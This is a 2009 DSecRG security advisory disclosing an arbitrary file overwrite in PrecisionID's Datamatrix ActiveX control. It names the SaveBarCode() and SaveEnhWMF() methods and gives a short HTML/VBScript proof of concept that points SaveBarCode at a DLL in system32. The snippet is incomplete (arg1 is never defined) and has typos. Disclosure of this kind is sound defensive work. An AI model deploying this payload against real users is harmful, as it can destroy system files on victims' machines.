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[DSECRG-09-030] PrecisionID Datamatrix ActiveX control - Arbitrary File overwriting

Digital Security Research Group [DSecRG] Advisory       #DSECRG-09-030
!!!             original advisory            !!!

Application:                    PrecisionID activeX controls 
Versions Affected:              
Vendor URL:                     http://PrecisionID.com
Bugs:                           Arbitrary File overwriting
Exploits:                       YES
Reported:                       03.03.2009
Vendor response:                NONE
Secondly Reported:              17.03.2009
Vendor response:                NONE 
Date of Public Advisory:        31.0300.2009
                                Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)


PrecisionID  have activeX control DMATRIXLib.Datamatrix that can be used to overwrite any any file in target system.


This control contains two methods SaveBarCode() SaveEnhWMF() that can be used to owervrite 
any file on OS

Sub SaveBarCode (
        ByVal path  As String 

Sub SaveEnhWMF (
        ByVal path  As String 


<object classid='clsid:6C951D10-B07F-11DB-A6ED-0050C2490048' id='target' />
<script language='vbscript'>
targetFile = "C:\WINDOWS\system32\PRECIS~2.DLL"
prototype  = "Sub SaveBarCode ( ByVal path As String )"
memberName = "SaveBarCode"
progid     = "DMATRIXLib.Datamatrix"
argCount   = 1


target.SaveBarCode arg1 




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